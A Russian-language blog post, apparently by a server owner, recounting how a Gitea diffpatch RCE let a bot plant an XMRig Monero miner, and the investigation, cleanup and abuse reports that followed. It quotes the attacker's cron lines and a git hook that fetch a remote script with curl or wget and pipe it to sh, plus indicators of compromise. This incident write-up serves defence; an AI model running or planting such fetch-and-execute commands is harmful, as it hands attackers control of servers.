Преступление и наказание. Как уязвимость в Gitea превратила мой VPS в майнер, а расследование закончилось сносом инфраструктуры атакующего

Преступление и наказание. Как уязвимость в Gitea превратила мой VPS в майнер, а расследование закончилось сносом инфраструктуры атакующего

Начало эта история берёт в тот момент, когда я решил поднять Vault для своего пет-проекта. Я пошёл на один из своих серверов и решил посмотреть, что там по ресурсам. Но увидел нечто неожиданное.

Оба ядра долбились в сотку, память была на пределе. Название ничего не выдавало вирус или майнер (на самом деле оно кричало о нём).

readlink -f /proc/4045279/exe

вернул 

/dev/shm/linuxsys (deleted)

то есть кто-то положил бинарник в /dev/shm, запустил и потом удалил его.

Я лунатизмом или пьянством до беспамятства не страдаю, а кроме меня на этот сервер никто не ходит.

Сетевое соединение тоже присутствовало
<my-ip>:60644 -> 103.30.194.78:80

А внутри бинарника нашлись вполне недвусмысленные строки:

XMRig 6.18.0
Monero
stratum
pool_wallet

То есть мой сервер майнил Monero. Но мой криптокошелёк, к сожалению, пустовал. Поэтому я сделал вывод, что крипта идёт в карман кому-то чужому.

Откуда он взялся?

Для начала отмечу, что это не первый раз, когда меня взламывали. После пары инцидентов я начал переназначать порты и ставить fail2ban на каждый сервер. Эта машина не была исключением. Но тогда почему моя жопа снова пострадала от взлома?

Первым делом я сохранил работающий удалённый бинарник через /proc/<pid>/exe, после чего начал искать источник.

Далеко идти не пришлось.

* * * * * curl ... https://repositorylinux.dpdns.org/linuxsh | sh
* * * * * wget ... https://repositorylinux.dpdns.org/linuxsh | sh

То есть раз в минуту curl и wget дружно выкачивали скрипт из интернета и запускали его через sh на моём сервере. Использовались сразу оба на случай, если один по какой-то причине не работает. Надёжно...

Интересно что майнер запускался не из под root, а из под git. На этом сервере у меня крутится экземпляр Gitea v1.25.

И примерно в этот момент стало понятно, куда копать дальше. Я полез в Gitea и увидел целый выводок аккаунтов, которые я, очевидно, не создавал.

У этих аккаунтов существовали различные репозитории вида

poc-65512
poc-35265
poc-51105

В некоторых репозиториях существовала ветка rce-proof. Название оказалось удивительно буквальным: внутри лежал файл proof с результатом команды, выполненной непосредственно на моём сервере. В одном случае это был вывод id:

uid=113(git) gid=119(git) groups=119(git)

В другом — содержимое /etc/passwd.

Эксплойт выполнял команду, записывал её stdout в Git blob, создавал из него коммит и публиковал результат в ветку rce-proof. Таким образом Git использовался не только как способ получить RCE, но и как канал возврата результата команды атакующему.

То есть бот не просто проверил, что сервер уязвим. Он ещё и аккуратно оставил в собственном репозитории доказательство успешного выполнения команды.

Красиво? Красиво.

И вишенка на торте - один из репозиториев содержал hooks/post-index-change

Внутри было примерно следующее:

output_blob=$(
    wget --no-check-certificate -q -O- \
        https://repositorylinux.dpdns.org/linuxsh |
    sh 2>&1 |
    git --git-dir="$origin_git" hash-object -w --stdin
)

В других вариантах использовался:

https://repositorylinux.dpdns.org/cronsys

Дальнейший поиск довольно быстро вывел на CVE-2026-60004 — RCE в Gitea через diffpatch. Для эксплуатации атакующему достаточно иметь возможность писать в репозиторий. А поскольку регистрация у меня, как выяснилось, была открыта, бот мог сам зарегистрировать testpocXXXXX, создать себе poc-XXXXX и спокойно эксплуатировать уязвимость от имени обычного пользователя.

То есть пароль администратора никто не крал. Я буквально бесплатно выдавал злоумышленнику необходимый для RCE аккаунт.

Восстанавливаем временную шкалу

Nginx оказался очень полезен.

С одного IP:

172.233.44.91

приходила серия запросов:

10/Aug/2026 21:34
POST /api/v1/repos/testpoc85539/poc-41612/diffpatch

11/Aug/2026 01:04
POST /api/v1/repos/testpoc78015/poc-51455/diffpatch

11/Aug/2026 01:26
POST /api/v1/repos/testpoc25390/poc-35265/diffpatch

11/Aug/2026 01:51
POST /api/v1/repos/testpoc92837/poc-47132/diffpatch

11/Aug/2026 02:23
POST /api/v1/repos/testpoc97168/poc-66257/diffpatch

Особенно интересно выглядело:

01:04:55 — успешный rce-proof с payload cronsys
01:08:15 — запускается /dev/shm/linuxsys
01:26:44 — ещё один успешный запуск cronsys

То есть цепочка восстанавливалась практически полностью:

Gitea diffpatch RCE
        ↓
post-index-change
        ↓
repositorylinux.dpdns.org/cronsys
        ↓
cron persistence
        ↓
repositorylinux.dpdns.org/linuxsh
        ↓
/dev/shm/linuxsys
        ↓
XMRig

До этого мой сервер несколько дней подряд проверяли и с других адресов. 5, 6, 7 и 10 августа были успешные rce-proof с id и /etc/passwd. Скорее всего, часть из них была автоматизированными сканерами уязвимостями. Я не стал считать все эти IP одним оператором.

А вот 172.233.44.91 уже однозначно связан непосредственно с майнером: именно его запросы создавали Git hooks с cronsys/linuxsh.

Лечение

Сначала был убит XMRig и удалён вредоносный crontab.

После этого Gitea была обновлена с 1.25.5 до 1.27.1 и отключена регистрация (я думал, что она уже была отключена, но нет).

Затем через API были удалены все poc-* репозитории, а после них штатным Gitea CLI — все testpoc* аккаунты.

Ну и я пробежался по всем критичным местам, но всё выглядело спокойно: секреты не тронуты, root не взломан. Хацкер ограничился лишь майнингом.

Наказание

К этому моменту у меня уже были достаточно хорошие IoC:

Exploit source:
172.233.44.91

Payload domain:
repositorylinux.dpdns.org

cronsys SHA-256:
4abd669319e6977323f115658dce119e39e8ed32f32e78a83f17df982c2f6ca3

linuxsh SHA-256:
43b3addcc950a1716e85cd48fa8d59f17e245e865bf2b75499ee036f23d4bd1c

linuxsys/XMRig SHA-256:
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab

И я решил наказать хацкера.

Мой дружелюбный ассистент ChatGPT отговорил меня от идеи насрать ему в суп путём взлома сервера, и предложил более полезную для общества идею.

Через WHOIS определил, что 172.233.44.91 это айпишник хостинга Linode/Akamai. Туда полетел репорт на абьюз вместе с сырыми логами доступа nginx.

Также через WHOIS определил, что 103.30.194.78 (с которым связывался майнер) относится к инфраструктуре хостинга cloudhost.asia, туда также улетел репорт с доказательствами.

Сам repositorylinux.dpdns.org был спрятан за Cloudflare, поэтому исходный IP напрямую не светился.

Но репорт в Cloudflare я отправил. Правда, мне пришла автоматическая отбивка, что они не отвечают за фишинг, но я отправил ещё одно письмо, отметив что это был не фишинг, а распространение вредоносного софта.

я не я и лошадь не моя

И финальным этапом улетело письмо владельцу dpdns.org — DigitalPlat. Они предоставляют бесплатные домены, и им полетело письмо с полным описанием двух активных malware URL, хэшах, CVE, XMRig и цепочке заражения.

Ответ не заставил себя долго ждать и буквально через 10 минут мне прилетела отбивка.

Банхаммер настиг нарушителя

Аккаунт нарушителя был навсегда заблокирован, справедливость восторжествовала. Фактически сейчас зараженные машины не смогут скачивать вредоносный скрипт. Если майнер на такой машине умрёт или хост перезагрузится, этот механизм самовосстановления больше не сработает. Уже запущенный XMRig, конечно, сам по себе от исчезновения домена мгновенно не умрёт.

Конечно, после этого репорт в Cloudflare уже не будет иметь особого смысла, потому что сам домен уже снесён. Но может хоть какую-нибудь пометку они на аккаунт поставят.

Я всё ещё надеюсь, что хостинги примут меры и заблочат аккаунты, связанные с IP, откуда шла атака. Конечно, сомневаюсь что для ботовода это проблема, но думаю, что нервишки это потреплет.

И да, я обновлю пост, если появятся сообщения от провайдеров.

Выводы

Самый главный вывод - нужно следить за обновлениями софта. CVE-2026-60004 успешно пофиксили в Gitea, и если бы я обновился раньше, ничего не было. Но с другой стороны - я раскопал исходную цепочку и отправил 4 репорта на инфраструктуру хакера, что в теории поможет другим пострадавшим.

Ещё надо отключать регистрацию на публичных self-hosted сервисах. Вообще в идеале поднимать это только в рамках приватной сети, но я никак не доберусь до её организации.

В общем, человек пришёл бесплатно использовать мои вычислительные ресурсы, а закончилось всё тем, что я несколько часов бесплатно поработал SRE его инфраструктуры — только с противоположной целью :)

Следите за обновлениями, потому что между «у меня там просто маленькая Gitea 👉👈» и «почему я майню Monero какому-то рандомному челу 💸» иногда находится всего один пропущенный релиз...